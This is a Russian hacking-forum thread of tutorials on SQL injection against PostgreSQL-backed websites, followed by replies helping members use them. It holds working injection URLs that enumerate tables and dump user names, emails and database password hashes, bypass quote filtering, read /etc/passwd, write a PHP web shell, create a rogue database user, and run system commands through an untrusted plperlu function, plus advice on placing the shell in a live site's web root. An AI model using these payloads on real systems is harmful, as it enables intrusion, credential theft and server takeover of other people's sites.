Авторские статьи Проведение SQL-Injection в PostgreSQL

Discussion in 'Статьи' started by Spyder, 15 Mar 2007.

  1. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    [Intro]
    Всем доброе времени суток. Как я заметил - многие, сталкиваясь с иньекцией в PostgreSQL, не знают что же делать дальше. Ну что же, в этой статье я попробуй объяснить порядок действий.
    Начнём!

    [Подбор столбцов]

    Здесь никакой экзотики, определяем так же как и в MySQL и Oracle.
    Так как оператор UNION требует одинакового количества колонок как в первом, так и во втором запросе нам нужно количество этих самых колонок определить
    Для этого существует 2 пути:

    1. Простой перебор
    допустим у нас есть сайт с иньекцией
    Code:
    www.site.com/index.php?id=1'
    тогда выполняем такой запрос
    Code:
    www.site.com/index.php?id=-1+union+select+null
    если появилась ошибка, то увеличиваем количество колонок на одну
    Code:
    www.site.com/index.php?id=-1+union+select+null,null
    и так пока не исчезнет ошибка и появится пустая страница
    2. Оператор ORDER BY
    С помощью этого оператора можно намного проще и быстрее определить количество столбцов
    Выполняем такой запрос:

    Code:
    www.site.com/index.php?id=-1+order+by+1-- 
    (ошибки нет, значит столбцов 1 или больше 1)
    Code:
    www.site.com/index.php?id=-1+order+by+9999--   
    (должна появится ошибка, значит столбцов меньше 9999)
    Далее подбираем таким образом правильное количество, предположим в нашем случае 4 столбца, тогда
    Code:
    www.site.com/index.php?id=-1+order+by+4-- 
    (ошибки не будет)
    Code:
    www.site.com/index.php?id=-1+order+by+5--
    (ошибка есть)

    [Определяем вывод]

    Предположим мы подобрали количество столбцов и их оказалось 4
    Code:
    www.site.com/index.php?id=-1+union+select+null,null,null,null
    Теперь нас интересует в какой части страницы, какая колонка выводится. Для этого
    подставим заместо одного из null - цифру

    Code:
    www.site.com/index.php?id=-1+union+select+null,111,null,null--
    И так меняя столбцы мы узнаём вывод
    Но тут не всё так просто. PostgreSQL имеет такую особенность, что столбец в первом запросе и соответствующий ему столбец во втором, должны иметь одинаковый тип данных (char,int и тд)
    Чаще всего это char (например текст статьи). Кажется что ничего не сделаешь, но разработчики позаботились о нас и создали функцию to_char(). Используем так to_char(1,123) (первая цифра на бум, вторая - число которое выведется на страницу)

    [Information_Schema]

    К счастью, в PosgreSQL существует специальная база, в которой хранятся записи о всех существующих таблицах, колонках и тд.
    Запрос к ней выглядит практически так же как и в MySQL, но с небольшой оговоркой.


    Узнаём таблицы

    Code:
    www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFORMATION_SCHEMA.TABLES--
    Таким запросом мы узнаём первую таблицу, но нам надо узнать и другие
    Вы скорее всего броситесь подстовлять в конце LIMIT+1,1 =) , но здесь как раз та самая оговорка
    В PostgreSQL оператор LIMIT сосоит из двух частей: LIMIT и OFFSET
    Именно OFFSET отвечает за номер записи с которой производится вывод. Пример:

    Code:
    www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFORMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1--
    Здесь после LIMIT стоит цифра 1 - это значит что на страницу выведется одна запись
    После OFFSET цифра 1 - это значит что на страницу выведутся записи начиная с второй (т.к. отсчёт ведётся с 0)


    Узнаём колонки

    Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER
    То что мы знаем имя таблицы - это хорошо, но надо знать и колонки
    Для этого изменяем запрос на такой:

    Code:
    www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS--
    Таким оброзом мы выводим названия колонок всех таблиц. Но нам надо узнать имена колонок именно в таблице USER
    Изменяем немного наш запрос добовляя в него оператор WHERE:

    Code:
    www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'--
    Появится имя первой колонки в таблице user и далее добовляя LIMIT+OFFSET узнаём все колонки.
    В 90% вам не удастся выполнить такой запрос и вы увидите ошибку примерно такого вида:

    Это значит что стоит фильтрация кавычек. но это можно обойити при помощи встренной функции CHR().
    Функция chr() получает ОДИН числовой аргумент n типа integer и возвращает символ с ASCII-кодом, равным n
    Т.е. мы можем получить только один символ. Например chr(113) выдаст нам символ "q", но если мы захотим сделать так chr(113,114), постгрес будет ругаться на неправильно количество аргументов в функции.
    Здесь бы помогла встроенная в MySQL функция CONCAT() и такая функция есть, но выглядит она немного по другому. Пример:
    chr(113)||chr(114) - вернёт QR
    Это конечно не удобно, особенно если имя таблицы длинное, но другого выхода я пока не нашёл.
    Здесь стоит указать ссылку где можно перевести символы в их числовые значения, вот она -
    Code:
    http://www.paulschou.com/tools/xlate/
    Но вернёмся к нашему сайту
    Закодировав слово user - мы получаем вот такие числа
    117 115 101 114
    Составляем запрос приведённый выше, но теперь заместо слова 'USER' делаем так:

    Code:
    www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=chr(117)||chr(115)||chr(101)||chr(114)--
    Теперь наш запрос правильный и должен вернуть имя колонки
    Так же обойти фильтрацию кавычек можно подзапросом. Пример:

    Code:
    www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)--
    [PG_TABLES или альтернатива Information_schema]

    В старых версиях PostgreSQL нет возможности обратиться к базе Information_schema, так как её на то время не существовало. Но к счастью для неё есть альтернатива - это таблица PG_TABLES
    Стоит заметить что у неё есть большой минус, он вытекает из названия. С помощью неё мы можем узнать только таблицы, а колонки нам придётся подбирать вручную. Имена таблиц хранятся в колонке TABLENAME
    Пример

    Code:
    www.site.com/index.php?id=-1+union+select+null,TABLENAME,null,null+from+PG_TABLES+limit+1+offset+0--
    [Хэк или достаём нужную нам инфу из таблицы]

    Ну тут уже всё просто. Мы знаем имя таблицы, знаем имена колонок
    Составляем запрос:

    Code:
    www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user--
    Он возвратит нам в данном случае имя юзера
    Многие любят объединять 2 колонки разделяя их спец символом, что же, мы уже умеем это делать

    Code:
    www.site.com/index.php?id=-1+union+select+null,username||chr(58)||email,null,null+from+user--
    Мы увидим запись типа Имя_юзера:мыло_юзера
    Стоит сказать что в некоторых случаях данные выводятся в неправильной кодировке. Для изменения существует функция CONVERT()
    Использовать так -
    где:
    preved - строка которую нам нужно перевести в другую кодировку
    utf8_to_iso_8859_1 - из какой кодировки в какую перевести (полный список кодировок -> http://www.postgresql.org/docs/8.2/interactive/functions-string.html#CONVERSION-NAMES)


    [Заключение]

    В этой статье я пытался поделится своими знаниями в PostgreSQL. Вся документация взята из книги Дж. Уорсли "PostgreSQL для профессионалов" и онлайн документации на оф. сайте www.postgresql.org.
    По мере того как информация будет пополнять мой мозг, статья будет обновлятся.
    Спасибо }{0TT@БЬ)Ч 'у за содействие в написании статьи =)

    ##END

    ЗЫ Моя первая статья, и не бейте =) Все обоснованные замечания с радостью приму к сведению
     
    #1 Spyder, 15 Mar 2007
    Last edited: 11 Apr 2007
    43 people like this.
  2. VampiRUS

    VampiRUS Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    210
    Likes Received:
    105
    Reputations:
    57
    Можно также узнать колонки если кавычки фильтруются таким способом:
    Code:
    http://site.ru/index.php?id=-1+union+select+null,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA+FROM+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+20)--
    
    подобрав нужную таблицу.
     
    3 people like this.
  3. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    так же можно добавить
    current_database() возвращает имя базы данных с которой работает скрипт
    current_user() имя пользователя, под которым работает скрипт
    version() информация о версии.
     
    1 person likes this.
  4. R®.L@mer

    R®.L@mer New Member

    Joined:
    20 Apr 2007
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Спасибо за статейку - она мне помогла! Я тулил в качесте коммента такой как в МуСКЛ и натыкался на еррор :) И завтыкал сам проверить двойной дефис! Ну эт детали! А вообще-то ОГРОММНОЕ СПАСИБО!
    А еще...
    Как вывести запрос в файл так как это делайет мускл?
     
    #4 R®.L@mer, 21 Apr 2007
    Last edited: 21 Apr 2007
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    на данный момент никак =\
     
    2 people like this.
  6. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    LOAD -- Загрузка файла в память.
    COPY -- Переносим файл в таблицу.
     
    1 person likes this.
  7. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Автор так же не заметил
    1) Важную вещь.
    Коментарий и прерыв строки в некоторых случаях, особенно в сложных запросах он не обходим. Так вот коментарий в PGSQL служит так же симаол "{".

    Так же есть возможность прерываний строки ";"
    Далее создаем системного юзера:

    Так же подкину системные таблички:

    • pg_auth_members
    • pg_authid
    • pg_database
    • pg_pltemplate
    • pg_shdepend
    • pg_shdescription
    • pg_tablespace
    Вроде все вспомнб что еще напишу )))
     
    #7 guest3297, 23 Apr 2007
    Last edited: 23 Apr 2007
    3 people like this.
  8. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Я не претендую на полный мануал
    СПС, Кэш, дополню
     
    4 people like this.
  9. mr.crown

    mr.crown New Member

    Joined:
    21 Apr 2007
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    Вот ща поставил себе сервер постгре, и короче сделал вывод в файл!
    COPY (SELECT '<?php system($_GET[cmd]); ?>') TO 'FILE_NAME'
    Только блин на серваке, ипстественно не моем не получается, видать прав у юзера мало :(
    Над будет попробывать создать юзера
     
  10. velikijmerlin

    velikijmerlin New Member

    Joined:
    27 Feb 2009
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -2
    help

    всем доброго времени суток..
    попытался исследовать один сайт на скёрл инекции, потыкался, потыкался, и нашёл такие ошибки, а что с ними делать дальше я не понимаю...
    может подсказать в каком направлении идти дальше, продолжать бить эти ошибки, или же искать в других местах?
    заранее спасибо

    вот скрин ошибок
    [​IMG]
     
  11. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    SQL-Injection в PostgreSQL

    SQL-Injection в PostgreSQL


    ::Вступление::

    В этой статье я расскажу об особенностях проведения SQL-инъекций в PostgreSQL. Эта тема уже затрагивалась на форуме, о ней писал Spyder(https://forum.antichat.ru/thread35599.html). Попробуем копнуть чуть глубже.

    ::Ошибки::

    Итак, мы подставили в параметр кавычку, и что мы видим? Вот типичные ошибки, с которыми мы будем работать:

    Code:
    Warning: pg_query(): Query failed: ERROR: syntax error at or near "\" at character...
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" at character...
    [Warning] pg_query(): Query failed: ERROR: unterminated quoted string at or near "'" at character...
    Warning: PostgreSQL query failed: ERROR: parser: parse error at or near "\" in...
    Наличие этих ошибок на 90% гарантирует нам возможность проведения инъекции.

    ::Комментарии и пробелы::

    Пробельные символы можно использовать те же, что и в MySQL, а вот с комментариями дело обстоит несколько иначе, в PostgreSQL обрубать запрос комментарием "/*" не получится. Он ругнется на это ошибкой:
    Code:
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated /* comment at or near "/*"
    так как такой комментарий обязательно должен быть закрыт. В связи с этим будем использовать "--", который закомментирует после себя всё до конца строки.

    ::Вывод системной информации::

    Аналогов команды user() из MySQL в PostgreSQL аж целых 4 штуки:

    user
    current_user
    session_user
    getpgusername()


    Вывод версии: version()
    Вывод базы данных: current_database()
    Вывод IP сервера БД: inet_server_addr()
    Вывод порта сервера БД: inet_server_port() (по дефолту 5432)

    Выводим необходимую информацию, это удобно сделать одним запросом:

    Code:
    http://www.site.com/index.php?id=27+and+1=cast((SELECT+version()||chr(58)||current_user||chr(58)||current_database())+as+int)--
    И получим например такой ответ сервера:

    Code:
    Warning: pg_query(): Query failed: ERROR: invalid input syntax for integer: 
    "PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-9):ed:sedbtac" in...
    Здесь версия - это PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-9)
    Юзер - ed
    БД - sedbtac

    Тут стоит обратить внимание на сам запрос, PostgreSQL очень ревностно относится к типам данных, поэтому результат надо искусственно приводить к требуемому (в смысле к тому, который требуется нам=)) типу данных. Это можно делать функцией cast(выражение+as+тип), либо использовать специфическую конструкцию "выражение::тип", которая присутствует там по историческим мотивам). Например id=27+and+1=version()::int--

    Две прямые черты "||" объединяют всё в одну строку, chr(58) - это разделитель ":".

    Так как PostgreSQL поддерживает разделение запросов с помощью символа ";", то можно например вывести версию альтернативным способом:

    id=27;select+version()::int--

    либо

    id=27;select+cast(version()+as+int)--

    ::Подбор количества колонок::

    Колонки можно подбирать несколькими способами.

    1.Используя конструкцию ORDER BY:

    id=27+order+by+100--

    В случае меньшего числа колонок возвратится ошибка:

    Code:
    Warning: pg_query(): Query failed: ERROR: ORDER BY position 100 is not in select list in...
    2.ORDER BY за один запрос (способ, который предложил IceAngel):

    id=27+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,...

    Отнимаем от выведенного числа единицу и получаем количество колонок.


    3.Можно подбирать сразу конструкцией UNION+SELECT+NULL:

    id=27+union+select+null,null,null,...

    пока не исчезнет ошибка.


    4.Либо подбирать подставляя цифры как и в MySQL:

    id=27+union+select+1,2,3,...

    При этом, если число колонок неправильное, то возвратится ошибка:

    Code:
    Warning: pg_query(): Query failed: ERROR: each UNION query must have the same number of columns in...
    А если число колонок верное, так как типизация тут строгая, то возвратиться ошибка о неправильном приведении типов, например:

    Code:
    Warning: pg_query(): Query failed: ERROR: UNION types date and integer cannot be matched in...
    Из всех перечисленных выше методов рациональнее, конечно, использовать конструкцию ORDER BY.

    ::Системные таблицы::

    Подбирать колонки мы научились, осталось узнать как, и собственно, откуда выводить.

    Рассмотрим полезные системные таблицы в PostgreSQL:

    1. pg_user


    Поле****(Тип)****Описание
    usename (name) - Имя пользователя
    usesysid (int4) - Id
    usecreatedb (bool) - Может ли пользователь создавать БД
    usesuper (bool) - Имеет ли пользователь привилегии superuser
    usecatupd (bool) - Может ли пользователь вносить изменения в системные таблицы
    passwd (text) - Пароль (здесь содержатся звездочки "****", а не пароль, по сути такая же аналогия как и в /etc/passwd и /etc/shadow)
    valuntil (abstime) - Время истечения аккаунта (имеется ввиду, сколько живет сессия юзера при использовании аутентификации паролем)
    useconfig (text[]) - Дефолтная сессия для переменных конфигурации во время работы

    Как мы видим, информация из этой таблицы носит скорее информативный характер, так как пароль содержится в другой таблице:

    2. pg_shadow

    Поле****(Тип)****Описание
    usename (name) - Имя пользователя
    usesysid (int4) - Id
    usecreatedb (bool) - Может ли пользователь создавать БД
    usesuper (bool) - Имеет ли пользователь привилегии superuser
    usecatupd (bool) - Может ли пользователь вносить изменения в системные таблицы
    passwd (text) - Пароль
    valuntil (abstime) - Время истечения пароля
    useconfig (text[]) - Дефолтная сессия для переменных конфигурации во время работы

    Именно из pg_shadow мы можем выводить пароли пользователей БД (аналог mysql.user), но чаще всего доступа к этой таблице нету.

    3. pg_database

    В этой таблице, нас интересует только одно поле - datname, в котором хранятся имена доступных баз данных.

    4. information_schema.tables и information_schema.columns

    Тут всё стандартно, те же имена полей (table_name, column_name, table_schema...).

    ::Вывод информации::

    Вот и добрались мы наконец-то до вывода, касаемо конструкций тут всё схоже с MySQL и MSSQL, например, чтобы вывести имя таблицы из information_schema.tables нам потребуется сделать, к примеру, такой запрос:

    id=27+union+select+1,table_name,3,...+from+information_schema.tables--

    А вот для того, чтобы перебирать значения полей, просто limit+1,1 тут не прокатит, необходимо использовать следующую конструкцию:

    id=27+union+select+1,table_name,3,...+from+information_schema.tables+limit+1+offset+1--

    При этом перебираем мы тут параметром offset.

    Если требуется вывести имена колонок конкретной таблицы, делаем стандартный запрос:

    id=27+union+select+1,column_name,3,...+from+information_schema.columns+where+table_name='имя_таблицы'

    Но так как кавычки, скорее всего, фильтруются, то у нас есть 2 выхода, во-первых можно перевести имя таблицы в chr(), например если мы хотим получить название колонок таблицы pg_user, то запрос будет:

    ...+where+table_name=CHR(112)||CHR(103)||CHR(95)||CHR(117)||CHR(115)||CHR(101)||CHR(114)

    Но в PostgreSQL, начиная с версии 8 появилась очень удобная фича (моя мечта - такая же фишка в MySQL), вместо кавычек можно использовать два подряд идущих знака доллара, то есть сработает такая конструкция:

    ...+where+table_name=$$имя_таблицы$$

    Функции concat() в PostgreSQL нет, конкатенация строк осуществляется с помощью двух прямых палок "||", например

    id=27+union+select+usename||chr(58)||passwd,null,null,null,null,null+from+pg_user--

    Доступна конструкция LIKE:

    id=27+union+select+table_name,null,null,null,null,null+from+information_schema.columns+where+column_name+LIKE+$$%password%$$--

    При этом %password% должно быть заключено в кавычки.

    Конструкция IF используется только во внутренних функциях, и бесполезна для проведения инъекций, вместо неё можно использовать оператор CASE:

    Code:
    CASE WHEN condition THEN result
         [WHEN ...]
         [ELSE result]
    END
    Например:

    id=27+and+1=cast((SELECT+CASE+WHEN+(1=1)+THEN+$$A$$+ELSE+$$B$$+END)+as+int)--

    Такое выражение в результате вернет нам "А".

    Можно использовать альтернативный вывод:

    id=27;select+cast(usename||chr(58)||passwd+as+int)+from+pg_user--

    Но в ответе мы увидим только первую запись, а перебирать их через +limit+1+offset не получится.

    ::Выполнение команд::

    Ну и на последок самое интересное, выполнение команд к БД, для этого нужно иметь привилегии usesuper.

    С помощью выполнения команд можно делать всё что угодно, от чтения файлов на сервере, до заливки шелла, были бы права)
    В PostgreSQL, также как и в MSSQL, можно разделять запросы с помощью точки с запятой - ";".

    Читаем /etc/passwd:

    id=27;CREATE TABLE aaaa(b text); /*создаем таблицу "аааа" с колонкой "b" типа text*/
    id=27;COPY аааа FROM '/etc/passwd'; /*копируем в таблицу "аааа" содержимое /etc/passwd*/
    id=27+union+select+b+from+aaaa+limit+1+offset+0-- /*читаем содержимое таблицы*/
    id=27;DROP TABLE aaaa; /*чистим за собой, удаляем таблицу "аааа"*/

    Заливаем шелл:

    id=27;CREATE TABLE аааа (b text); /*создаем таблицу "аааа" с колонкой "b" типа text*/
    id=27;INSERT INTO аааа(b) VALUES ('<? pasthru($_GET[cmd]); ?>'); /*вставляем в поле "b" таблицы "аааа" ядовитый код*/
    id=27;COPY аааа (b) TO '/tmp/shell.php'; /*копируем содержимое поля "b" в файл shell.php*/
    id=27;DROP TABLE aaaa; /*чистим за собой, удаляем таблицу "аааа"*/

    Создаём нового пользователя:

    id=27;CREATE USER hacker PASSWORD 'mypass';

    Даём юзеру права на создание новых БД и новых пользователей:

    id=27;ALTER USER test1 CREATEUSER CREATEDB;

    ::Заключение::

    Здесь рассмотрены далеко не все особенности PostgreSQL, статья будет дополняться мной по мере накопления материала. Приветствуются любые дополнения/исправления/замечания/комментарии.
     
    #11 Ded MustD!e, 1 Jul 2009
    Last edited: 1 Jul 2009
    7 people like this.
  12. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Давно хотел обновить статью. В постгре можно выполнять системные команды прямо в инъекции
     
    1 person likes this.
  13. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    Понял, что ты имел ввиду, надо проверить на практике, если хочешь, могу кинуть в ПМ сайт с полными правами, вместе потестим)
     
    #13 Ded MustD!e, 1 Jul 2009
    Last edited: 1 Jul 2009
    1 person likes this.
  14. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Небольшое дополнение

    Выполнение произвольного Perl/Python/Tcl/C кода
    Так как в PostgreSQL(вернее в пшп-функциях) мы можем раделять несколько запросов точкой с запятой ";" появляется возможность, имея соответcтвующие права, создавать собственные функции
    Чтобы узнать доступные языки выполняем запрос
    SELECT lanname,lanispl,lanpltrusted from pg_language​
    В данной заметке я привожу пример с языком Perl
    Допустим мы получили plperl true true
    Создать функцию мы можем прямо сейчас
    CREATE OR REPLACE FUNCTION perlcmd (text) returns text as '$echo=234;return $echo' LANGUAGE 'plperl';​

    SELECT perlcmd(null);​
    Тут появляется первая проблема. Пробуем создать что то более полезное
    CREATE OR REPLACE FUNCTION perlcmd (text) returns text as '$a=shift;system($a)' LANGUAGE 'plperl';​
    ERROR: creation of Perl function "perlcmd" failed: 'system' trapped by operation mask at line 1​
    Такая же история для обратных ковычек
    ERROR: creation of Perl function "perlcmd" failed: 'quoted execution (``, qx)' trapped by operation mask at line 1​
    и т.д Постгре не даёт нам создать потенциально опасные функции. К счастью есть возможность обойти
    Для этого создадим новый язык по образцу перла
    CREATE LANGUAGE 'plperlu';​
    и уже новую функцию
    CREATE OR REPLACE FUNCTION perlcmd2 (text)+returns text as '$a=shift;system($a)' LANGUAGE 'plperlu';​

    SELECT perlcmd2('wget http://www.example.com/file.txt -O /tmp/file.txt')​

    НУ и самая главная проблема это права, создавать функции может только суперюзер и юзеры с расширеными правами, что встречается крайне редко

    Напомню что magic_quotes можно обойти симолами доллара
    SELECT $$ya_stroka$$;​
     
    #14 Spyder, 2 Jul 2009
    Last edited: 2 Jul 2009
    2 people like this.
  15. Insane bboy

    Insane bboy New Member

    Joined:
    11 Jul 2009
    Messages:
    52
    Likes Received:
    3
    Reputations:
    0
    как узнать уровень прав в системе???
    я создаю таблицу, заливаю инфу(в данном случае шелл, как и в примере сверху) в поле таблицы, но вот вывод этой инфы в файл не получается:
    Warning: pg_query() [function.pg-query]: Query failed: ERROR: не получилось открыть файл "/1.php" для записи: Отказано в доступе
    заливаю так:
    адресс...=3;COPY+aa+(b)+TO+$$/1.php$$--
    какие есть варианты залить\выполнить php код кроме представленных выше?
     
  16. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    узнать свои права
    select usesuper from pg_users where usename=curent_user

    ты пытаешься создать файл в корне системы, права на запись имеет только рут, естественно никто постгрес запускать от рута не будет
    пробуй создать файл в /tmp для начала
     
  17. Insane bboy

    Insane bboy New Member

    Joined:
    11 Jul 2009
    Messages:
    52
    Likes Received:
    3
    Reputations:
    0
    так в том то и дело что в /tmp/1.php создается:)
    но как его запустить я хз:(
     
  18. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    чтобы запустить его (=\\\) тебе надо залить в папку видимую из веба, полный путь ты можешь увидеть в ошибке выдаваемой при неправильном запросе к постгре

    либо можешь поискать инклуд на сайте и проинклудеть из /tmp
    Вообще для тебя есть тема специальная
    https://forum.antichat.ru/newpostinthread46016.html
     
  19. Insane bboy

    Insane bboy New Member

    Joined:
    11 Jul 2009
    Messages:
    52
    Likes Received:
    3
    Reputations:
    0
    инлуда нет, а насчет папок
    /home1/www/site/lyrics/htdocs/index.php
    это я из ошибки вытащил, как теперь правильно директорию написать?
    /home1/www/site/lyrics/htdocs/1.php ???
    или это не то?

    уже второй час ковыряю, никак залить нормально не могу:(
     
    #19 Insane bboy, 19 Aug 2009
    Last edited: 19 Aug 2009
  20. pampom

    pampom Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    33
    Likes Received:
    5
    Reputations:
    0
    В полне возможно, точнее так и есть прав на запись в папку web нету.
    И вообще в pg sql комбинация ;COPY работает очень редко.